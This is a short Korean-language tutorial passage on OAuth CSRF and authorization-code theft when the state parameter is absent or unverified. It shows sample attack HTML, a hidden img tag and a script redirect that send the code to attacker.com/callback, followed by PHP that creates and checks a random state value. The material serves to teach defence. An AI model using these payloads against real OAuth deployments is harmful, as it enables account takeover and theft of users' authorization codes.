OAuth CSRF + Authorization Code 탈취:
OAuth 인증 흐름에서 state 파라미터는 CSRF 공격을 방지하는 중요한 요소입니다.
state가 없거나 검증되지 않으면, 공격자가 CSRF 공격으로 Authorization Code를 탈취하여
다른 사용자의 인증을 자신의 계정으로 리다이렉션할 수 있습니다.
<img src="https://oauth-server/authorize?client_id=attacker-app&redirect_uri=attacker.com&state="><!-- 공격자의 웹사이트 또는 이메일 --> <img src="https://app-server/oauth/authorize? client_id=attacker-app& redirect_uri=https://attacker.com/callback& response_type=code& scope=email+profile" style="display:none;"> <!-- 또는 자동 리다이렉트 --> <script> window.location = "https://app-server/oauth/authorize? client_id=attacker-app& redirect_uri=https://attacker.com/callback& response_type=code"; </script>
// Step 1: Authorization 요청 (안전한 방법)
$_SESSION['oauth_state'] = bin2hex(random_bytes(32));
header('Location: https://oauth-server/authorize?
client_id=' . urlencode($client_id) . '&
redirect_uri=' . urlencode($redirect_uri) . '&
state=' . urlencode($_SESSION['oauth_state']));
// Step 2: Callback에서 state 검증
if ($_GET['state'] !== $_SESSION['oauth_state']) {
throw new Exception('State mismatch - CSRF attack detected!');
}
// Step 3: Authorization Code 교환
$access_token = exchange_code($_GET['code']);